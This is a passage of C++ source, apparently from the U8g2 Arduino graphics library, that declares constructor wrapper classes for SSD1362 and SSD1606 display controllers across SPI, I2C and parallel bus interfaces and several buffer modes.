uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1362_256x64_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1362_256X64_F_4W_SW_SPI : public U8G2 { public: U8G2_SSD1362_256X64_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1362_256x64_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1362_256X64_F_4W_HW_SPI : public U8G2 { public: U8G2_SSD1362_256X64_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1362_256x64_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1362_256X64_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1362_256X64_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1362_256x64_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1362_256X64_F_3W_SW_SPI : public U8G2 { public: U8G2_SSD1362_256X64_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1362_256x64_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SSD1362_256X64_F_3W_HW_SPI : public U8G2 { public: U8G2_SSD1362_256X64_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1362_256x64_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SSD1362_256X64_F_6800 : public U8G2 { public: U8G2_SSD1362_256X64_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1362_256x64_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1362_256X64_F_8080 : public U8G2 { public: U8G2_SSD1362_256X64_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1362_256x64_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1362_256X64_1_SW_I2C : public U8G2 { public: U8G2_SSD1362_256X64_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1362_i2c_256x64_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SSD1362_256X64_1_HW_I2C : public U8G2 { public: U8G2_SSD1362_256X64_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1362_i2c_256x64_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SSD1362_256X64_1_2ND_HW_I2C : public U8G2 { public: U8G2_SSD1362_256X64_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1362_i2c_256x64_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SSD1362_256X64_2_SW_I2C : public U8G2 { public: U8G2_SSD1362_256X64_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1362_i2c_256x64_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SSD1362_256X64_2_HW_I2C : public U8G2 { public: U8G2_SSD1362_256X64_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1362_i2c_256x64_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SSD1362_256X64_2_2ND_HW_I2C : public U8G2 { public: U8G2_SSD1362_256X64_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1362_i2c_256x64_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SSD1362_256X64_F_SW_I2C : public U8G2 { public: U8G2_SSD1362_256X64_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1362_i2c_256x64_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SSD1362_256X64_F_HW_I2C : public U8G2 { public: U8G2_SSD1362_256X64_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1362_i2c_256x64_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SSD1362_256X64_F_2ND_HW_I2C : public U8G2 { public: U8G2_SSD1362_256X64_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1362_i2c_256x64_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SSD1362_206X36_1_4W_SW_SPI : public U8G2 { public: U8G2_SSD1362_206X36_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1362_206x36_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1362_206X36_1_4W_HW_SPI : public U8G2 { public: U8G2_SSD1362_206X36_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1362_206x36_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1362_206X36_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1362_206X36_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1362_206x36_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1362_206X36_1_3W_SW_SPI : public U8G2 { public: U8G2_SSD1362_206X36_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1362_206x36_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SSD1362_206X36_1_3W_HW_SPI : public U8G2 { public: U8G2_SSD1362_206X36_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1362_206x36_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SSD1362_206X36_1_6800 : public U8G2 { public: U8G2_SSD1362_206X36_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1362_206x36_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1362_206X36_1_8080 : public U8G2 { public: U8G2_SSD1362_206X36_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1362_206x36_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1362_206X36_2_4W_SW_SPI : public U8G2 { public: U8G2_SSD1362_206X36_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1362_206x36_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1362_206X36_2_4W_HW_SPI : public U8G2 { public: U8G2_SSD1362_206X36_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1362_206x36_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1362_206X36_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1362_206X36_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1362_206x36_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1362_206X36_2_3W_SW_SPI : public U8G2 { public: U8G2_SSD1362_206X36_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1362_206x36_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SSD1362_206X36_2_3W_HW_SPI : public U8G2 { public: U8G2_SSD1362_206X36_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1362_206x36_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SSD1362_206X36_2_6800 : public U8G2 { public: U8G2_SSD1362_206X36_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1362_206x36_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1362_206X36_2_8080 : public U8G2 { public: U8G2_SSD1362_206X36_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1362_206x36_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1362_206X36_F_4W_SW_SPI : public U8G2 { public: U8G2_SSD1362_206X36_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1362_206x36_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1362_206X36_F_4W_HW_SPI : public U8G2 { public: U8G2_SSD1362_206X36_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1362_206x36_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1362_206X36_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1362_206X36_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1362_206x36_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1362_206X36_F_3W_SW_SPI : public U8G2 { public: U8G2_SSD1362_206X36_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1362_206x36_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SSD1362_206X36_F_3W_HW_SPI : public U8G2 { public: U8G2_SSD1362_206X36_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1362_206x36_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SSD1362_206X36_F_6800 : public U8G2 { public: U8G2_SSD1362_206X36_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1362_206x36_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1362_206X36_F_8080 : public U8G2 { public: U8G2_SSD1362_206X36_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1362_206x36_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1362_206X36_1_SW_I2C : public U8G2 { public: U8G2_SSD1362_206X36_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1362_i2c_206x36_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SSD1362_206X36_1_HW_I2C : public U8G2 { public: U8G2_SSD1362_206X36_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1362_i2c_206x36_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SSD1362_206X36_1_2ND_HW_I2C : public U8G2 { public: U8G2_SSD1362_206X36_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1362_i2c_206x36_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SSD1362_206X36_2_SW_I2C : public U8G2 { public: U8G2_SSD1362_206X36_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1362_i2c_206x36_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SSD1362_206X36_2_HW_I2C : public U8G2 { public: U8G2_SSD1362_206X36_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1362_i2c_206x36_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SSD1362_206X36_2_2ND_HW_I2C : public U8G2 { public: U8G2_SSD1362_206X36_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1362_i2c_206x36_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SSD1362_206X36_F_SW_I2C : public U8G2 { public: U8G2_SSD1362_206X36_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1362_i2c_206x36_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SSD1362_206X36_F_HW_I2C : public U8G2 { public: U8G2_SSD1362_206X36_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1362_i2c_206x36_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SSD1362_206X36_F_2ND_HW_I2C : public U8G2 { public: U8G2_SSD1362_206X36_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1362_i2c_206x36_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SSD1606_172X72_1_4W_SW_SPI : public U8G2 { public: U8G2_SSD1606_172X72_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1606_172x72_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1606_172X72_1_4W_HW_SPI : public U8G2 { public: U8G2_SSD1606_172X72_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1606_172x72_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1606_172X72_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1606_172X72_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1606_172x72_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1606_172X72_1_3W_SW_SPI : public U8G2 { public: U8G2_SSD1606_172X72_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1606_172x72_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SSD1606_172X72_1_3W_HW_SPI : public U8G2 { public: U8G2_SSD1606_172X72_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1606_172x72_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SSD1606_172X72_2_4W_SW_SPI : public U8G2 { public: U8G2_SSD1606_172X72_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1606_172x72_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1606_172X72_2_4W_HW_SPI : public U8G2 { public: U8G2_SSD1606_172X72_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1606_172x72_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1606_172X72_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1606_172X72_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1606_172x72_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1606_172X72_2_3W_SW_SPI : public U8G2 { public: U8G2_SSD1606_172X72_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1606_172x72_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SSD1606_172X72_2_3W_HW_SPI : public U8G2 { public: U8G2_SSD1606_172X72_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1606_172x72_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SSD1606_172X72_F_4W_SW_SPI : public U8G2 { public: U8G2_SSD1606_172X72_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1606_172x72_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1606_172X72_F_4W_HW_SPI : public U8G2 { public: U8G2_SSD1606_172X72_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1606_172x72_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1606_172X72_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1606_172X72_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1606_172x72_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1606_172X72_F_3W_SW_SPI : public U8G2 { public: U8G2_SSD1606_172X72_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1606_172x72_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; 